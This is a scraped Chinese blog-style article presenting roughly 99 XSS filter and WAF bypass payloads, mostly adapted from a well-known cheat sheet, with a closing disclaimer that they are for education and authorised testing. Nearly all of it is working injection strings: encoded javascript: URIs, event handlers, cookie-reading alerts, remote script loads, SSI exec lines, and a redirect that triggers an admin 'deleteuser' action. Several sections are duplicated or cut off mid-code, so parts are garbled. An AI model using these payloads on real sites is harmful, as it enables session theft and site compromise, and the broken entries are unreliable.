XSS攻击绕过方法大全,XSS攻击技巧,收集100种绕过方法分享(2024最新)

尽管许多网站实施了输入过滤措施来防止跨站脚本(XSS)攻击,但在特定条件下,经过精心编码的脚本仍有可能实施XSS注入。本文旨在为专业的安全测试人员提供一个跨站脚本漏洞的检测指南。
XSS攻击绕过方法大全,XSS攻击技巧,收集100种绕过方法分享(2024最新)_第1张图片

网络安全入门,XSS攻击

以下是一些具体的XSS绕过过滤的方法:

1. XSS定位器

在大多数存在漏洞的地方,插入以下代码将弹出含有“XSS”字样的对话框。建议使用URL编码器对整个代码进行编码。

小贴士:如果想快速检查页面,可以插入“<任意文本>”,然后观察页面输出是否有明显变化,以判断是否存在漏洞。

以下为具体代码实现:

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;
alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–
>”>’>

2. 简短的XSS定位器

若页面空间有限且无JavaScript漏洞,以下简短的字符串可用于快速检测XSS注入。注入后查看页面源代码,检查是否出现** 字样。

”;!–”=&{()}

3. 无过滤绕过

这是一个标准的XSS注入代码,通常会被防御,但建议先测试一下。


4. 利用多语言进行过滤绕过

利用多种语言特性,可以绕过过滤机制。以下为示例代码:

‘”>>”>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>
<script>alert(document.cookie)</script>”>
<img/id=”confirm&lpar;1)”/alt=”/”src=”/”onerror=eval(id)>’”>
<img src=”https://www.fujieace.com/wp-content/images/2015/07/hacked-compressor.jpg“>
</code></pre> 
  <h3>5. 通过JavaScript命令实现的图片XSS</h3> 
  <p>图片注入使用JavaScript命令实现,适用于大多数浏览器环境。示例代码如下:</p> 
  <pre><code><IMG SRC=”javascript:alert(‘XSS’);”>
</code></pre> 
  <h3>6. 无分号无引号</h3> 
  <p>不使用分号和引号的XSS攻击示例:</p> 
  <pre><code><IMG SRC=javascript:alert(‘XSS’)>
</code></pre> 
  <h3>7. 不区分大小写的XSS攻击向量</h3> 
  <p>XSS攻击向量,不区分JavaScript函数的大小写:</p> 
  <pre><code><IMG SRC=JaVaScRiPt:alert(‘XSS’)>
</code></pre> 
  <h3>8. HTML实体</h3> 
  <p>使用HTML实体进行XSS攻击,需要分号以生效:</p> 
  <pre><code><IMG SRC=javascript:alert(&quot;XSS&quot;)>
</code></pre> 
  <h3>9. 重音符混淆</h3> 
  <p>当需要在JavaScript代码中同时使用单引号和双引号时,可使用重音符(`)包含代码:</p> 
  <pre><code><IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>
</code></pre> 
  <h3>10. 畸形的A标签</h3> 
  <pre><code>通过跳过HREF标签找到XSS漏洞的方法:
```
<a onmouseover=”alert(document.cookie)”>xxs link</a>
```
</code></pre> 
  <h3>11. 畸形的IMG标签</h3> 
  <pre><code>通过不严格的HTML解析来构建含有IMG标签的XSS攻击向量:
```
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
```
</code></pre> 
  <h3>12. fromCharCode函数</h3> 
  <pre><code>如果不允许使用引号,可以使用JavaScript的fromCharCode函数创建XSS攻击向量:
```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```
</code></pre> 
  <h3>13. 使用默认SRC属性绕过SRC域名过滤器</h3> 
  <pre><code>这种方法可以绕过大多数SRC域名过滤器,适用于任何HTML标签:
```
<IMG SRC=# onmouseover=”alert(‘xxs’)”>
```
</code></pre> 
  <h3>14. 使用默认为空的SRC属性</h3> 
  <pre><code>```
<IMG SRC= onmouseover=”alert(‘xxs’)”>
```
</code></pre> 
  <h3>15. 使用不含SRC属性</h3> 
  <pre><code>```
<IMG onmouseover=”alert(‘xxs’)”>
```
</code></pre> 
  <h3>16. 通过error事件触发alert</h3> 
  <pre><code>```
<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>
```
</code></pre> 
  <h3>17. 对IMG标签中onerror属性进行编码</h3> 
  <pre><code>```
<img src=x onerror=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″>
```
</code></pre> 
  <h3>18. 十进制HTML字符实体编码</h3> 
  <pre><code>这种编码方式在某些浏览器中不支持直接使用javascript:形式的XSS示例:
```
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
```
</code></pre> 
  <h3>19. 不带分号的十进制HTML字符实体编码</h3> 
  <pre><code>这种编码方式适用于绕过特定形式的XSS过滤:
```
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
```
</code></pre> 
  <h3>20. 不带分号的十六进制HTML字符实体编码</h3> 
  <pre><code>```
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x 
 ```
</code></pre> 
  <h3>20. 不带分号的十六进制HTML字符实体编码</h3> 
  <p>此方法绕过某些假设字符实体编码需要用分号结尾的过滤器:</p> 
  <pre><code><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
</code></pre> 
  <h3>21. 内嵌TAB</h3> 
  <p>使用TAB字符分隔XSS攻击代码,适用于某些解析环境:</p> 
  <pre><code><IMG SRC=”jav ascript:alert(‘XSS’);”>
</code></pre> 
  <h3>22. 内嵌编码后的TAB</h3> 
  <p>使用编码后的TAB字符分隔XSS攻击代码:</p> 
  <pre><code><IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
</code></pre> 
  <h3>23. 内嵌换行分隔XSS攻击代码</h3> 
  <p>利用换行字符分隔代码,仅特定字符有效:</p> 
  <pre><code><IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
</code></pre> 
  <h3>24. 内嵌回车分隔XSS攻击代码</h3> 
  <p>使用回车字符分隔,注意字符长度:</p> 
  <pre><code><IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>
</code></pre> 
  <h3>25. 使用空字符分隔JavaScript指令</h3> 
  <p>空字符也可以用作XSS攻击,需要特殊工具或编码:</p> 
  <pre><code>perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
</code></pre> 
  <h3>26. 利用IMG标签中JavaScript指令前的空格和元字符</h3> 
  <p>如果过滤器不计算“javascript:”前的空格,这种方法将有效:</p> 
  <pre><code><IMG SRC=” &#14;  javascript:alert(‘XSS’);”>
</code></pre> 
  <h3>27. 利用非字母非数字字符</h3> 
  <p>某些浏览器的HTML解析器认为非字母非数字字符作为空白或无效符号,而XSS过滤器可能未考虑此情况:</p> 
  <pre><code><SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>
</code></pre> 
  <h3>28. 额外的尖括号</h3> 
  <p>通过在XSS攻击向量中添加额外的尖括号来绕过某些检测引擎:</p> 
  <pre><code><<SCRIPT>alert(“XSS”);//<</SCRIPT>
</code></pre> 
  <h3>29. 未闭合的script标签</h3> 
  <p>在某些浏览器中,未闭合的标签会被自动闭合,这为XSS提供了机会:</p> 
  <pre><code><SCRIPT SRC=http://127.0.0.1/xss.js?< B >
</code></pre> 
  <h3>30. script标签中的协议解析</h3> 
  <p>特定的协议解析方式可以绕过过滤器,特别适用于空间有限的情况:</p> 
  <pre><code><SCRIPT SRC=//xss.rocks/.j>
</code></pre> 
  <h3>31. 只含左尖括号的HTML/JavaScript XSS向量</h3> 
  <p>在某些浏览器中,不需要闭合标签的右尖括号就可以执行XSS攻击:</p> 
  <pre><code><IMG SRC=”javascript:alert(‘XSS’)”
</code></pre> 
  <h3>32. 多个左尖括号</h3> 
  <p>使用多个左尖括号作为标签结尾在不同浏览器中有不同的效果:</p> 
  <pre><code><iframe src=http://127.0.0.1/scriptlet.html <
</code></pre> 
  <h3>33. JavaScript双重转义</h3> 
  <p>当应用将用户输入输出到页面上时,双重转义可能会触发XSS攻击:</p> 
  <pre><code>\”;alert(‘XSS’);//
</script><script>alert(‘XSS‘)
   ```


## 33. JavaScript双重转义
当应用错误地转义用户输入时,可以通过双重转义进行XSS攻击:
</code></pre> 
  <p></p> 
  <pre><code>
## 34. 闭合title标签
通过闭合title标签进行XSS攻击:
</code></pre> ``` 
  <h3>35. INPUT image</h3> 
  <p>利用输入类型为image的INPUT标签执行XSS:</p> 
  <pre><code><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
</code></pre> 
  <h3>36. BODY image</h3> 
  <p>在BODY标签的BACKGROUND属性中插入XSS代码:</p> 
  <pre><code><BODY BACKGROUND="javascript:alert('XSS')">
</code></pre> 
  <h3>37. IMG Dynsrc</h3> 
  <p>通过IMG标签的DYNSRC属性实施XSS攻击:</p> 
  <pre><code><IMG DYNSRC="javascript:alert('XSS')">
</code></pre> 
  <h3>38. IMG lowsrc</h3> 
  <p>利用IMG标签的LOWSRC属性进行XSS注入:</p> 
  <pre><code><IMG LOWSRC="javascript:alert('XSS')">
</code></pre> 
  <h3>39. List-style-image</h3> 
  <p>通过样式属性中的list-style-image进行XSS攻击,仅在特定浏览器环境下有效:</p> 
  <pre><code><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
</code></pre> 
  <h3>40. 图片中引用VBscript</h3> 
  <p>利用VBScript在IMG标签中执行XSS:</p> 
  <pre><code><IMG SRC='vbscript:msgbox("XSS")'>
</code></pre> 
  <h3>41. Livescript (仅限旧版本Netscape)</h3> 
  <p>在老版本的Netscape浏览器中,通过Livescript执行XSS:</p> 
  <pre><code><IMG SRC="livescript:[code]">
</code></pre> 
  <h3>42. SVG对象标签</h3> 
  <p>使用SVG标签触发XSS攻击:</p> 
  <pre><code><svg/onload=alert('XSS')>
</code></pre> 
  <h3>43. ECMAScript 6</h3> 
  <p>利用ECMAScript 6特性构造XSS攻击:</p> 
  <pre><code>Set.constructor`alert\x28document.domain\x29```
</code></pre> 
  <h3>44. BODY标签</h3> 
  <p>通过BODY标签的事件处理器实现XSS攻击,无需"javascript:"前缀:</p> 
  <pre><code><BODY ONLOAD=alert('XSS')>
</code></pre> 
  <h3>45. 事件处理程序</h3> 
  <p>XSS攻击可以利用多种HTML事件,以下是部分事件列表:</p> 
  <ul> 
   <li>onAbort()</li> 
   <li>onActivate()</li> 
   <li>onAfterPrint()</li> 
   <li>… 更多事件 …</li> 
  </ul> 
  <h3>46. BGSOUND标签</h3> 
  <p>利用BGSOUND标签在某些浏览器中实现XSS:</p> 
  <pre><code><BGSOUND SRC="javascript:alert('XSS');">
</code></pre> 
  <h3>47. & JavaScript包含</h3> 
  <p>使用&字符和JavaScript结合构造XSS攻击:</p> 
  <pre><code><BR SIZE="&{alert('XSS')}">
</code></pre> 
  <h3>48. 样式表</h3> 
  <p>利用LINK标签的HREF属性指向JavaScript进行XSS注入:</p> 
  <pre><code><LINK REL="stylesheet" HREF="javascript:alert('XSS');">
</code></pre> 
  <h3>49. 远程样式表</h3> 
  <p>利用远程样式表插入XSS代码,特定环境下有效:</p> 
  <pre><code><LINK REL="stylesheet" HREF="http://127.0.0.1/xss.css">
</code></pre> 
  <h3>50. 远程样式表2</h3> 
  <p>使用STYLE标签和@import规则加载包含XSS代码的远程样式表:</p> 
  <pre><code><STYLE>@import'http://127.0.0.1/xss.css';</STYLE>
</code></pre> 
  <h3>51. 远程样式表3</h3> 
  <p>在特定浏览器中,使用META标签设置Link头部实施XSS:</p> 
  <pre><code><META HTTP-EQUIV="Link" Content="<http://127.0.0.1/xss.css>; REL=stylesheet">
</code></pre> 
  <h3>52. 远程样式表4</h3> 
  <p>在Gecko渲染引擎下利用STYLE标签和-moz-binding属性进行XSS攻击:</p> 
  <pre><code><STYLE>BODY{-moz-binding:url("https://127.0.0.1/xssmoz.xml#xss")}</STYLE>
</code></pre> 
  <h3>53. 含有分隔JavaScript的STYLE标签</h3> 
  <p>利用特殊的字符序列在STYLE标签内部分隔JavaScript代码,适用于IE环境:</p> 
  <pre><code><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
</code></pre> 
  <h3>54. STYLE属性中使用注释分隔表达式</h3> 
  <p>利用注释分隔的方式在IMG标签的STYLE属性中插入XSS代码:</p> 
  <pre><code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
</code></pre> 
  <h3>55. 含表达式的IMG STYLE</h3> 
  <p>将XSS代码嵌入到IMG标签的STYLE属性中,适用于IE环境:</p> 
  <pre><code>exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
</code></pre> 
  <h3>56. STYLE标签(仅旧版本Netscape可用)</h3> 
  <p>在旧版本Netscape浏览器中,使用STYLE标签执行JavaScript代码:</p> 
  <pre><code><STYLE TYPE="text/javascript">alert('XSS');</STYLE>
</code></pre> 
  <h3>57. 使用背景图像的STYLE标签</h3> 
  <p>利用STYLE标签设置背景图像为JavaScript代码:</p> 
  <pre><code><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
</code></pre> 
  <h3>58. 使用背景的STYLE标签</h3> 
  <p>通过BODY标签的STYLE属性设置背景图像执行JavaScript代码:</p> 
  <pre><code><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
</code></pre> 
  <h3>59. 含STYLE属性的HTML任意标签</h3> 
  <p>在任意HTML标签的STYLE属性中嵌入JavaScript代码,适用于IE环境:</p> 
  <pre><code><XSS STYLE="behavior: url(xss.htc);">
</code></pre> 
  <h3>60. 本地htc文件</h3> 
  <p>通过本地htc文件执行XSS代码,需要与XSS攻击向量在相同服务器上:</p> 
  <pre><code><XSS STYLE="behavior: url(xss.htc);">
</code></pre> 
  <h3>61. US-ASCII编码</h3> 
  <p>使用US-ASCII编码执行XSS攻击,适用于使用该编码的服务器环境:</p> 
  <pre><code>¼script¾alert(¢XSS¢)¼/script¾
</code></pre> 
  <h3>62. META标签</h3> 
  <p>使用META标签进行页面刷新并执行JavaScript代码:</p> 
  <pre><code><META HTTP
</code></pre> 
  <h3>62. META标签</h3> 
  <p>使用META标签的刷新功能执行JavaScript代码:</p> 
  <pre><code><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
</code></pre> 
  <h3>63. 使用数据的META</h3> 
  <p>通过META标签和data URL scheme实现XSS攻击,不包含可见的SCRIPT单词或JavaScript指令:</p> 
  <pre><code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
</code></pre> 
  <h3>64. 含有额外URL参数的META</h3> 
  <p>通过在META标签中包含额外的URL参数绕过URL检查:</p> 
  <pre><code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
</code></pre> 
  <h3>65. IFRAME</h3> 
  <p>在允许IFRAME的情况下,通过IFRAME标签实现XSS:</p> 
  <pre><code><IFRAME SRC="javascript:alert('XSS');"></IFRAME>
</code></pre> 
  <h3>66. 基于事件的IFRAME</h3> 
  <p>利用事件触发器在IFRAME标签中执行XSS代码:</p> 
  <pre><code><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
</code></pre> 
  <h3>67. FRAME</h3> 
  <p>与IFRAME类似,FRAME标签也可用于XSS攻击:</p> 
  <pre><code><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
</code></pre> 
  <h3>68. TABLE</h3> 
  <p>通过TABLE标签的BACKGROUND属性插入XSS代码:</p> 
  <pre><code><TABLE BACKGROUND="javascript:alert('XSS')">
</code></pre> 
  <h3>69. TD</h3> 
  <p>利用TD标签的BACKGROUND属性进行XSS攻击:</p> 
  <pre><code><TABLE><TD BACKGROUND="javascript:alert('XSS')">
</code></pre> 
  <h3>70. DIV背景图像</h3> 
  <p>在DIV标签的STYLE属性中设置背景图像为JavaScript代码:</p> 
  <pre><code><DIV STYLE="background-image: url(javascript:alert('XSS'))">
</code></pre> 
  <h3>71. 含有Unicode XSS利用代码的DIV背景图像</h3> 
  <p>使用Unicode字符对URL参数进行混淆,以实现XSS攻击:</p> 
  <pre><code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
</code></pre> 
  <h3>72. 含有额外字符的DIV背景图像</h3> 
  <p>在DIV标签中利用额外字符实现XSS攻击:</p> 
  <pre><code><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
</code></pre> 
  <h3>73. DIV表达式</h3> 
  <p>利用DIV标签的STYLE属性中的表达式实现XSS攻击:</p> 
  <pre><code><DIV STYLE="width: expression(alert('XSS'));">
</code></pre> 
  <h3>74. HTML条件注释块</h3> 
  <p>利用HTML条件注释在特定浏览器中执行XSS代码:</p> 
  <pre><code><!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
</code></pre> 
  <h3>75. BASE标签</h3> 
  <p>使用BASE标签改变页面的基本URL,以实施XSS攻击:</p> 
  <pre><code><BASE HREF="javascript:alert('XSS');//">
</code></pre> 
  <h3>76. OBJECT标签</h3> 
  <p>利用OBJECT标签加载含有XSS代码的外部资源:</p> 
  <pre><code><OBJECT TYPE="text/x-scriptlet" DATA="http://127.0.0.1/scriptlet.html"></OBJECT>
</code></pre> 
  <h3>77. 使用EMBED标签加载含有XSS的FLASH文件</h3> 
  <p>通过EMBED标签加载含有XSS代码的FLASH文件,适用于特定浏览器环境:</p> 
  <pre><code><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
</code></pre> 
  <h3>78. 使用EMBED SVG包含攻击向量</h3> 
  <p>在特定浏览器下,使用EMBED标签加载SVG代码实现XSS攻击:</p> 
  <pre><code><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
</code></pre> 
  <h3>79. 在FLASH中使用ActionScript混淆XSS攻击向量</h3> 
  <p>利用FLASH文件中的ActionScript代码进行混淆,以绕过过滤器:</p> 
  <pre><code>a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
</code></pre> 
  <h3>80. CDATA混淆的XML数据岛</h3> 
  <p>在特定环境下,利用XML数据岛和CDATA混淆实现XSS攻击:</p> 
  <pre><code><XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
</code></pre> 
  <h3>81. 使用XML数据岛生成含内嵌JavaScript的本地XML文件</h3> 
  <p>通过本地XML文件包含JavaScript代码实施XSS攻击:</p> 
  <pre><code><XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
</code></pre> 
  <h3>82. XML中使用HTML+TIME</h3> 
  <p>利用HTML+TIME扩展在XML中嵌入JavaScript代码:</p> 
  <pre><code><HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
</code></pre> 
  <h3>83. 使用一些字符绕过".js"过滤</h3> 
  <p>通过改名将JavaScript文件伪装成图像文件,以绕过过滤器:</p> 
  <pre><code><SCRIPT SRC="http://127.0.0.1/xss.jpg"></SCRIPT>
</code></pre> 
  <h3>84. SSI(服务器端脚本包含)</h3> 
  <p>如果服务器端允许SSI,可以利用它执行XSS攻击:</p> 
  <pre><code><!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://127.0.0.1/xss.js></SCRIPT>'"-->
</code></pre> 
  <h3>85. PHP</h3> 
  <p>在服务器端安装了PHP的情况下,可以利用PHP脚本实施XSS攻击:</p> 
  <pre><code><? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
</code></pre> 
  <h3>86. 嵌入命令的IMAGE</h3> 
  <p>利用IMAGE标签在密码保护页面上执行命令,适用于管理员权限环境:</p> 
  <pre><code><IMG SRC="https://www.fujieace.com/somecommand.php?somevariables=maliciouscode">
</code></pre> 
  <h3>87. 嵌入命令的IMAGE II</h3> 
  <p>通过重定向图片到特定命令,可以在普通的图片请求中隐藏XSS攻击:</p> 
  <pre><code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
</code></pre> 
  <h3>88. Cookie篡改</h3> 
  <p>利用META标签覆写cookie,适用于某些特定场景:</p> 
  <pre><code><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
</code></pre> 
  <h3>89. UTF-7编码</h3> 
  <p>在页面未指定编码或浏览器设置为UTF-7编码时,可以利用UTF-7执行XSS攻击:</p> 
  <pre><code><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
</code></pre> 
  <h3>90. 利用HTML引号包含的XSS</h3> 
  <p>在某些浏览器中,可以通过特定的引号使用方式绕过XSS过滤器:</p> 
  <pre><code><SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
</code></pre> 
  <h3>91. URL字符绕过</h3> 
  <p>使用不同的编码和格式化方式绕过URL过滤:</p> 
  <pre><code><A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="//www.google.com/">XSS</A>
</code></pre> 
  <h3>92. 字符转义表</h3> 
  <p>通过不同的字符组合实现“<”的所有可能表示,用于绕过过滤器:</p> 
  <pre><code><
%3C
&lt
&lt;
... 等等 ...
</code></pre> 
  <h3>93. 绕过WAF的方法</h3> 
  <p>利用特定技巧绕过Web应用程序防火墙(WAF),包括存储型XSS、基于DOM的XSS、请求重定向等多种方法:</p> 
  <pre><code><Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
... 更多示例 ...
</code></pre> 
  <h3>94. 存储型XSS</h3> 
  <p>如果XSS代码已经绕过了输入过滤并存储在服务器上,WAF可能无法在输出时阻止它。</p> 
  <h3>95. 基于JavaScript的反射型XSS</h3> 
  <p>示例:在脚本中使用setTimeout函数,根据GET参数动态设置延时。</p> 
  <pre><code><script> ... setTimeout("writetitle()", $_GET[xss]) ... </script>
</code></pre> 
  <h3>96. 基于DOM的XSS</h3> 
  <p>示例:在脚本中直接执行GET参数的内容。</p> 
  <pre><code><script> ... eval($_GET[xss]); ... </script>
</code></pre> 
  <h3>97. 通过请求重定向构造XSS</h3> 
  <p>示例:在服务器端脚本中,基于用户输入构造重定向。</p> 
  <pre><code>header('Location: '.$_GET['param']);
</code></pre> 
  <h3>98. 利用不过滤特定字符串的WAF</h3> 
  <p>有些WAF可能不会过滤某些特定的字符串或脚本结构,可以利用这一点构造XSS攻击。</p> 
  <pre><code><Img src=x onerror="javascript: window.onerror = alert; throw XSS">
<Video> <source onerror="javascript: alert(XSS)">
... 更多示例 ...
</code></pre> 
  <h3>99. Alert混淆以绕过过滤器</h3> 
  <p>通过变换alert函数的调用方式,绕过对alert关键字的过滤。</p> 
  <pre><code>(alert)(1)
a=alert,a(1)
[1].find(alert)
... 更多示例 ...
</code></pre> 
  <p>以上提到的XSS攻击技巧和方法,都是为了帮助安全专家更好地理解和预防XSS漏洞。强调这些技术仅用于教育和安全测试目的,任何非法使用都是不道德的,可能会导致严重的法律后果。安全研究员和渗透测试人员应在合法和道德的框架内操作,确保网络空间的安全和稳定。</p> 
  <h3>网络安全学习路线</h3> 
  <p></p> 
  <h3>网安入门资料</h3> 
  <p>收集了一些入门视频资料,可以免费分享。</p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1737484266322845696"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(xss,web安全,前端,网络安全,学习方法,https,html)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1835509897106649088.htm"
                           title="Long类型前后端数据不一致" target="_blank">Long类型前后端数据不一致</a>
                        <span class="text-muted">igotyback</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>响应给前端的数据浏览器控制台中response中看到的Long类型的数据是正常的到前端数据不一致前后端数据类型不匹配是一个常见问题,尤其是当后端使用Java的Long类型(64位)与前端JavaScript的Number类型(最大安全整数为2^53-1,即16位)进行数据交互时,很容易出现精度丢失的问题。这是因为JavaScript中的Number类型无法安全地表示超过16位的整数。为了解决这个问</div>
                    </li>
                    <li><a href="/article/1835509770287673344.htm"
                           title="swagger访问路径" target="_blank">swagger访问路径</a>
                        <span class="text-muted">igotyback</span>
<a class="tag" taget="_blank" href="/search/swagger/1.htm">swagger</a>
                        <div>Swagger2.x版本访问地址:http://{ip}:{port}/{context-path}/swagger-ui.html{ip}是你的服务器IP地址。{port}是你的应用服务端口,通常为8080。{context-path}是你的应用上下文路径,如果应用部署在根路径下,则为空。Swagger3.x版本对于Swagger3.x版本(也称为OpenAPI3)访问地址:http://{ip</div>
                    </li>
                    <li><a href="/article/1835508130608410624.htm"
                           title="html 中如何使用 uniapp 的部分方法" target="_blank">html 中如何使用 uniapp 的部分方法</a>
                        <span class="text-muted">某公司摸鱼前端</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/uni-app/1.htm">uni-app</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>示例代码:Documentconsole.log(window);效果展示:好了,现在就可以uni.使用相关的方法了</div>
                    </li>
                    <li><a href="/article/1835504218178416640.htm"
                           title="Google earth studio 简介" target="_blank">Google earth studio 简介</a>
                        <span class="text-muted">陟彼高冈yu</span>
<a class="tag" taget="_blank" href="/search/%E6%97%85%E6%B8%B8/1.htm">旅游</a>
                        <div>GoogleEarthStudio是一个基于Web的动画工具,专为创作使用GoogleEarth数据的动画和视频而设计。它利用了GoogleEarth强大的三维地图和卫星影像数据库,使用户能够轻松地创建逼真的地球动画、航拍视频和动态地图可视化。网址为https://www.google.com/earth/studio/。GoogleEarthStudio是一个基于Web的动画工具,专为创作使用G</div>
                    </li>
                    <li><a href="/article/1835499615491813376.htm"
                           title="四章-32-点要素的聚合" target="_blank">四章-32-点要素的聚合</a>
                        <span class="text-muted">彩云飘过</span>

                        <div>本文基于腾讯课堂老胡的课《跟我学Openlayers--基础实例详解》做的学习笔记,使用的openlayers5.3.xapi。源码见1032.html,对应的官网示例https://openlayers.org/en/latest/examples/cluster.htmlhttps://openlayers.org/en/latest/examples/earthquake-clusters.</div>
